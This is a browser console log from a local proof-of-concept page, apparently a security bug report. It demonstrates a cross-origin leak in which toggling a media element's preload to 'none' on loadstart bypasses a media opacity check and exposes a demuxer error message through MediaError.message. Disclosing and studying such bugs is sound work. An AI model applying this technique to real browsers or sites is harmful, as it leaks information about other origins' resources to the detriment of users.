[280:280:0414/034929.636397:INFO:CONSOLE:16] "=== MediaShouldBeOpaque() preload->none bypass ===", source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.637424:INFO:CONSOLE:16] "victim (cross-origin, no-CORS): http://127.0.0.1:47123/victim-webm", source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.637537:INFO:CONSOLE:16] "--- baseline: preload stays "metadata" (opacity ON) ---", source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.657427:INFO:CONSOLE:16] "[baseline] loadstart (no toggle)", source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.714778:INFO:CONSOLE:16] "[baseline] error.code    = 4", source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.714958:INFO:CONSOLE:16] "[baseline] error.message = """, source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.716916:INFO:CONSOLE:16] "[baseline] progress events before error = 0", source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.717188:INFO:CONSOLE:16] "--- bypass: preload toggled to "none" on loadstart (opacity OFF) ---", source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.717672:INFO:CONSOLE:16] "[bypass] loadstart -> preload downgraded to "none"", source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.717768:INFO:CONSOLE:16] "[bypass] suspend fired", source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.718053:INFO:CONSOLE:16] "[bypass] error.code    = 4", source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.718175:INFO:CONSOLE:16] "[bypass] error.message = "PipelineStatus::DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"", source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.718288:INFO:CONSOLE:16] "[bypass] progress events before error = 1", source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.718387:INFO:CONSOLE:16] "=== RESULT ===", source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.718474:INFO:CONSOLE:16] "baseline message: """, source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.718565:INFO:CONSOLE:16] "bypass   message: "PipelineStatus::DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"", source: http://localhost:47123/poc.html (16)
[280:280:0414/034929.720132:INFO:CONSOLE:16] "LEAK CONFIRMED: cross-origin demuxer diagnostic exposed via MediaError.message after preload downgrade.", source: http://localhost:47123/poc.html (16)